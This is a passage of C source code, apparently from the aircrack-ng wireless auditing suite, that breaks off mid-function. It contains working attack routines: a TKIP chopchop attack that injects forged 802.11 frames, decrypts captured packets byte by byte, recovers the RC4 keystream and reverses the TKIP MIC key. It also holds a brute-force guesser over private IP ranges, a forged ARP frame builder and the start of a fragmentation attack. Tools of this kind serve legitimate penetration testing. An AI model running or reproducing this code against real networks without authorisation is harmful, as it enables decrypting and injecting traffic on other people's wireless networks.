srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 24, 6 ); break; } ptr = arp; psmac = arp+16; pdmac = arp+26; psip = arp+22; pdip = arp+32; len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, smac, len); ptr += len; /* dmac */ if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0) { printf("ARP Reply\n"); memcpy(pdmac, dmac, 6); } else { printf("ARP Request\n"); memcpy(pdmac, ZERO, 6); } if(caplen-z-8 - clearlen == 36) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { for(k=1; k<255; k++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; pdip[3] = k; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(j=0; j<256; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 10; psip[1] = 0; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = 0; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16.y.z\n"); /* check 172.16-31.j.1-254 */ for(j=1; j<255; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 172; psip[1] = 16; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = 16; pdip[2] = j; pdip[3] = l; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 35) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 34) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 25) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { psip[0] = 192; psip[1] = 168; psip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { psip[0] = 172; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { psip[0] = 10; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if(caplen-z-8 - clearlen == 24) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; psip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { psip[0] = 172; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { psip[0] = 10; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } if(caplen-z-8 - clearlen <= 23) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { psip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ psip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ psip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } if(caplen-z-8 - clearlen <= 32) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = srcbuf[z+8+32]^chopped[z+8+32]; psip[1] = srcbuf[z+8+33]^chopped[z+8+33]; psip[2] = i; psip[3] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } return 1; } int do_attack_tkipchop( uchar* src_packet, int src_packet_len ) { float f, ticks[4]; int i, j, n, z, caplen, srcz, srclen; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; int tries=0; int keystream_len=0; int settle=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; unsigned char mic[8]; unsigned char smac[6], dmac[6], bssid[6]; unsigned char rc4key[16], keystream[4096]; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; uchar packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct timeval mic_fail; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; srand( time( NULL ) ); memcpy( h80211, src_packet, src_packet_len); caplen = src_packet_len; if( (h80211[1] & 3) == 1) { h80211[1] += 1; memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); memcpy( srcbuf + 10, bssid, 6 ); memcpy( srcbuf + 4, dmac, 6 ); memcpy( srcbuf + 16, smac, 6 ); // memcpy(h80211+16, BROADCAST, 6); } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); // if( opt.r_smac_set == 1 ) // { // //handle picky APs (send one valid packet before all the invalid ones) // memset(packet, 0, sizeof(packet)); // // memcpy( packet, NULL_DATA, 24 ); // memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); // memcpy( packet + 10, opt.r_smac, 6 ); // memcpy( packet + 16, opt.f_bssid, 6 ); // // packet[0] = 0x08; //make it a data packet // packet[1] = 0x41; //set encryption and ToDS=1 // // memcpy( packet+24, h80211+z, caplen-z); // // if( send_packet( packet, caplen-z+24 ) != 0 ) // return( 1 ); // //done sending a correct packet // } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* debug: generate the keystream */ if(opt.got_ptk) { calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key ); PCT; printf("Per Packet Key: "); for(i=0; i<15; i++) printf("%02X:", rc4key[i]); printf("%02X\n", rc4key[15]); memset(keystream, 0, 4096); keystream_len = caplen - z - 8; encrypt_wep(keystream, keystream_len, rc4key, 16); PCT; printf("Keystream length: %i, Keystream:\n", keystream_len); for(i=0; i> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i]; // chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ is_deauth_mode = 0; // opt.r_dmac[0] = 0xFF; // opt.r_dmac[1] = rand() & 0xFE; // opt.r_dmac[2] = rand() & 0xFF; // opt.r_dmac[3] = rand() & 0xFF; // opt.r_dmac[4] = rand() & 0xFF; /* chop down old/known keystreambytes */ for(i=0; i data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) { printf( "\rLooks like mic failure report was not detected." "Waiting %i seconds before trying again to avoid " "the AP shutting down.\n", opt.mic_failure_interval); fflush( stdout ); settle = 1; sleep(opt.mic_failure_interval); } if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } /* if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) )*/ if( data_end < 47 && tries > 512) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 46; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00; chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01; chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08; chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( n >> 8 ); chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[26 + 8] = 0x40 + i; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[26 + 9] = j; chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j; if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } // memcpy( h80211 + 10, opt.r_smac, 6 ); // memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; else tries++; settle=0; } if(tries > 768 && data_end < srclen) { //go back one step and validate the last chopped byte tries = 0; data_end++; guess = chopped[data_end - 1] ^ srcbuf[data_end - 1]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; PCT; printf("\nMoved one step backwards to chop the last byte again.\n"); continue; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 ) { nb_bad_pkt++; if( nb_bad_pkt > 2 ) { printf( "\n\nFailure: got several deauthentication packets " "from the AP - you need to start the whole process " "all over again, as the client got disconnected.\n\n" ); return( 1 ); } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; // if( ( h80211[5] & 0xFE ) != // ( opt.r_smac[1] & 0xFE ) ) continue; /* if( ! ( h80211[5] & 1 ) ) {*/ if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); // } } else { /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; //must be a data packet if( ( h80211[0] & 0x70 ) != 0 ) continue; // if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* get header length right */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* check the extended IV (TKIP) flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) continue; /* check length (153)!? */ if( z+127 != n ) continue; //(153[26+127] bytes for eapol mic failure in tkip qos frames from client to AP) // printf("yeah!\n"); //direction must be inverted. if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue; //check correct macs switch( h80211[1] & 3 ) { case 1: if( memcmp( bssid, h80211 + 4, 6 ) != 0 && memcmp( dmac , h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; case 2: if( memcmp( smac , h80211 + 4, 6 ) != 0 && memcmp( bssid, h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; default: continue; break; } /* if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); }*/ if(nb_pkt_sent < 1) continue; } /* we have a winner */ // guess = h80211[9]; tries = 0; settle = 0; guess = (guess - 1) % 256; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\r"); PCT; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; gettimeofday(&opt.last_mic_failure, NULL); PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval); fflush(stdout); if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //found correct packet :) break; while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */ if(opt.got_ptk) { PCT; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]); calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic); if( memcmp(mic, h80211+caplen-8, 8) == 0) { PCT; printf("Correct MIC!\n"); } else { PCT; printf("Incorrect MIC!\n"); } PCT; printf("Captured MIC: "); for(i=0; i<7; i++) printf("%02X:", h80211[caplen-8+i]); printf("%02X\n", h80211[caplen-1]); PCT; printf("Calculated MIC: "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); } calc_tkip_mic_key(h80211, caplen, mic); h80211[1] &= 0xBF; /* remove the WEP bit, too */ if((h80211[1] & 3) == 1) { PCT; printf("Reversed MIC Key (ToDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48+8, mic, 8); opt.got_mic_tods=1; opt.chopped_to_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_to_plain, h80211, caplen); opt.chopped_to_plain_len = caplen; opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8); opt.chopped_to_prga_len = caplen-26+4+8; } if((h80211[1] & 3) == 2) { PCT; printf("Reversed MIC Key (FromDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48, mic, 8); opt.got_mic_fromds=1; opt.chopped_from_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_from_plain, h80211, caplen); opt.chopped_from_plain_len = caplen; opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8); opt.chopped_from_prga_len = caplen-26+4+8; } /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 26 - 8; if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); PCT; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 26 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac, uchar *src_ip, uchar *dst_ip, int size) { uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen) { size_t unused; FILE *xorfile; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { uchar packet[4096]; uchar packet2[4096]; uchar prga[4096]; uchar iv[4]; // uchar ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int 